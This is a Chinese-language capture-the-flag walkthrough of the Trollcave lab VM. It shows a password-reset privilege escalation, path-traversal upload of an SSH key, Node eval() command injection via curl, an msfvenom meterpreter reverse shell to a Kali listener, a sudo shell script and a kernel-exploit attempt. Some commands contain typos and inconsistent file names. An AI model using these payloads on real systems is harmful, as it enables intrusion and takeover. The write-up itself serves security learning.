简介:一个社区论坛网站
“God himself cannot hack this website.” – dragon, site admin
很牛逼的介绍啊!!
Trollcave渗透测试案例:
1.了解其功能
主要功能:欢迎导语页面,密码重置,法律宗教
2.发现服务(nmap)
1.发现主机IP
nmap -sP
2.发现端口(服务)
nmap -sS -O(显示操作系统信息) -P0(无Ping扫描) -n(不进行dns解析) -A
nmap -sS -O -P0 -n -A
关于-P0:
无ping扫描可以躲避某些防火墙的防护,可以在目标主机禁止ping的情况下使用。
用-P0禁止主机发现会使Nmap对每一个指令的目标IP地址进行所要求的扫描,可以穿透防火墙,也可以避免被防火墙发现。
得到端口:
20:ssh
80:HTTP
3.逻辑缺陷分析
1.分析网站的功能
1.注册不可用
2.网站用户的权限:
King:superadmin
coderguy:admin
3.修改(重置)密码的路径暴露了:
password_resets
所以我最近收到了很多用户的电子邮件,他们忘记了密码,需要重新设置。因为这个网站没有“忘记密码”按钮,我不得不手动重置。我真的厌倦了,所以是时候实施密码重置了。目前正忙于此事,但网站电子邮件有问题。您可能已经注意到,由于这个原因,新用户的激活已被关闭。到目前为止,我已经在rails中实现了一个password_resets资源(implemented a password_resets resource in rails),除了电子邮件之外,它的工作效率大约是90%。非常令人沮丧。如果有人对如何让电子邮件正常工作有任何建议,请给我发一封
这里也就是说已经通过发送邮件的方式来进行修改密码
而且是基于rail来实现的
2.从功能上分析逻辑漏洞
1.重置密码漏洞:
①漏洞发现,发现重置密码的路径
②漏洞利用,修改超级管理员的密码
4.利用漏洞
1.经过对implemented a password_resets resource in rails资料查阅(这里有两个关键词password_resets和rails,google一下,发现这么一个网站https://www.railstutorial.org/book/password_reset):
/password_resets/new可以对member成员的密码进行修改但是对King无法进行修改
http://192.168.204.140/password_resets/edit.gYFOFjpUNzONVKNaC_xwrg?name=xer
2.但是这里存在一个垂直越权的漏洞:
http://192.168.204.140/password_resets/edit.gYFOFjpUNzONVKNaC_xwrg?name=King
说明已经将King的密码成功修改了
然后登陆:success!!!
3.接下来开始利用superadmin来对该网页进行学习(嘿嘿嘿)
①创建ssh公钥:
a.在攻击机利用ssh命令创建一个public key,来连接靶机上你先要连接的用户
通过信息收集:
嘿,伙计,如果我要在网站上做更多的工作,我真的需要sudo访问。我也不知道对我来说交互使用rails用户是一个多好的主意,也许我们应该分开,我梦寐以求的coderguy in /etc/sudoers…
得到用户:rails
然后收集到一个路径:/home/rails/.ssh/authorized_keys这个地方是文件名可以自行修改
b.接下来在kali上为其创建公钥
ssh-keygen -C(为所创建的公钥做注释)rails@192.168.204.140
②把public key上 传到靶机上:
a.利用文件上传
b.按公钥存储的路径(默认Default)上传公钥
…/…/…/…/…/…/home/rails/.ssh/authorized_keys(上传的名字)注意这里的名字一定要是authorized_keys
③在攻击机利用公钥去连接靶机上的用户
ssh rails@192.168.204.140 -i xxx(此处的名字要与你上传的xxx.pub文件名字相同,不然会连接不上!!!!)
Last login: Thu Jul 11 03:57:36 2019 from 192.168.198.136
$ ifconfig
inet addr:192.168.204.140
$ whoami
rails
$ ls /home
coderguy dave dragon king rails
5.关键文件代码分析
$vim /home/king/calc/calc.js
http.createServer(onRequest).listen(8888, '127.0.0.1')//说明在靶机上创建了一个服务8端口8888
分析route(路由)函数:
##解释:根据url里面不同的地址,分别调用与之对应的函数来响应
function calc(pathname, request, query, response)
{
sum = query.split('=')[1];
#将等号后面的值赋给sum
console.log(sum)
#其实这个方法和alert方法类似,唯一不同的是该方法是显示在控制台的,而alert()方法是显示在浏览器上的
response.writeHead(200, {"Content-Type": "text/plain"});
#向请求的客户端发送响应头。
该函数在一个请求内最多只能调用一次,如果不调用,则会自动生成一个响应头。statusCode HTTP状态码,如200(请求成功),404(未找到)等。
response.end(eval(sum).toString());
#停止处理文件的脚本代码,并且返回当前产生的内容
}
response.end(eval(sum).toString());
eval()执行response对象end(计算公式),之后把计算公式的结果返回到浏览器
eg:http://192.168.204.140/?sum=1+1然后通过end来把结果2反馈给浏览器
eg:http://192.168.204.140/?sum=require(“child_process”).exec(“whoami”)
这里会通过require()在本地操作系统上启动一个子进程,然后通过上述子进程去执行(exec)whoami这个shell命令,然后将上述内容房子eval()里面,结果就会在本地操作系统上真正执行whoami
踩坑:如果calc.js文件因为操作失误不小心把内容干没了,就重置虚拟机
6.代码漏洞验证
接下来使用虚拟机来模拟上述的在URL里面执行的操作
1.验证8888端口服务是不是启动
netstat -antp
列出当前主机上所有开放的端口
|grep 8888
只看端口8888是否启动
netstat -antp | grep 8888
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1adqv1Us-1636160321528)(http://images2.5666888.xyz//搜狗截图20年12月28日1925_5.png)]
curl "http://127.0.0.1:8888/calc?sum=1+1"
curl "http://127.0.0.1:8888/calc?sum=require('child_process').exec('whoani')"
如果命令执行且没有报错,说明可能存在shell上传漏洞,也就是说,有可以利用的反弹shell
7.生成并上传shell
这里不会得到命令的输出,而是返回了[object Object],由此猜测sum参数里的whoami这个命令被执行了,因此可以利用这里触发一个shell。
1.使用msfvenom创建shell:
msfvenom -p linux/x64/meterpreter_reverse_tcp → 设置payload
-f elf → 生成格式
-o shell → 生成路径(输出文件名字)
LHOST=192.168.110.6 → Kali地址
LPORT=6666 → 反弹端口
先启动msfconsole,之后输入如下命令:
msf > msfvenom -p linux/x64/meterpreter_reverse_tcp -f elf -o demo -a x64 --platform linux LHOST=192.168.204.138 LPORT=6666
2.利用文件漏洞上传shell
路径:/tmp/demo
可以看出上传文件成功
3.反弹shell
msf > use exploit/multi/handler
msf exploit(handler) > set payload linux/x64/meterpreter_reverse_tcp
msf exploit(handler) > set LHOST 192.168.110.6
msf exploit(handler) > set LPORT 6666
msf exploit(handler) > run -j
cd /tmp
./yshell
发现因为权限问题yshell无法反弹
4.编写启动shell的脚本(在tmp目录下)
因为rails用户没有上传执行shell的权限
vim run.sh
#!/bin/bash
sudo cp /tmp/shell1 /home/king/shell1
sudo chown king:king /home/king/shell1(chown: 修改所属用户与组。将shell1拥有者与群组改为king)
sudo chmod a+x /home/king/shell1
sudo /home/king/shell1
对chmod命令的回顾:
符号类型改变文件权限方式:
还有一个改变权限的方法,从之前的介绍中我们可以发现,基本上就九个权限分别是:
- user:用户
- group:组
- others:其他
那么我们就可以使用 u, g, o 来代表三种身份的权限。
此外, a 则代表 all,即全部的身份。读写的权限可以写成 r, w, x,也就是可以使用下表的方式来看:
chmod | u g o a | +(加入) -(除去) =(设定) | r w x | 文件或目录 |
---|---|---|---|---|
如果我们需要将文件权限设置为 -rwxr-xr– ,可以使用 chmod u=rwx,g=rx,o=r 文件名 来设定:
# touch test1 // 创建 test1 文件
# ls -al test1 // 查看 test1 默认权限
-rw-r--r-- 1 root root 0 Nov 15 10:32 test1
# chmod u=rwx,g=rx,o=r test1 // 修改 test1 权限
# ls -al test1
-rwxr-xr-- 1 root root 0 Nov 15 10:32 test1
而如果是要将权限去掉而不改变其他已存在的权限呢?例如要拿掉全部人的可执行权限,则:
# chmod a-x test1
# ls -al test1
-rw-r--r-- 1 root root 0 Nov 15 10:32 test1
5.运行脚本
./run.sh
但是因为权限不够,脚本无法运行
因为/home/king目录下的calc
curl "http://127.0.0.1:8888/calc?sum=require('child_process').exec('/tmp/run.sh')"
然后没有反弹shell
查看了一下king目录下,并没有yshell,也就是说脚本没有运行
chmod a+x run.js#赋予可执行权限
然后再curl成功反弹shell
python -c ‘import pty; pty.spawn("/bin/bash")’
另一种方法(针对ubantu的版本漏洞进行提权):
1.ssh创建好shell
uname -a得:
Linux trollcave 4.4.0-197-generic #229-Ubuntu SMP Wed Nov 25 11:05:42 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
cat /proc/version得:
Linux version 4.4.0-197-generic (buildd@lcy01-amd64-026) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.12) ) #229-Ubuntu SMP Wed Nov 25 11:05:42 UTC 2020
2.得知ubantu和linux版本信息
懂~~~~
searchsploit 4.4.0-197
Exploits: No Result
Shellcodes: No Result
是在下不配了
rails@trollcave:/proc/sys/kernel$ cat unprivileged_bpf_disabled
0
**1,下载poc文件 upstream44.c
下载地址:http://cyseclabs.com/exploits/up … mp;isappinstalled=0
**
下载物理机上传kali上面就行
root@kali1:~/桌面/trollcave# gcc -o upstream upstream44.c
复制,利用网站的文件上传漏洞传到/tmp/.Test-unix/666并赋予可执行命令,结果出问题了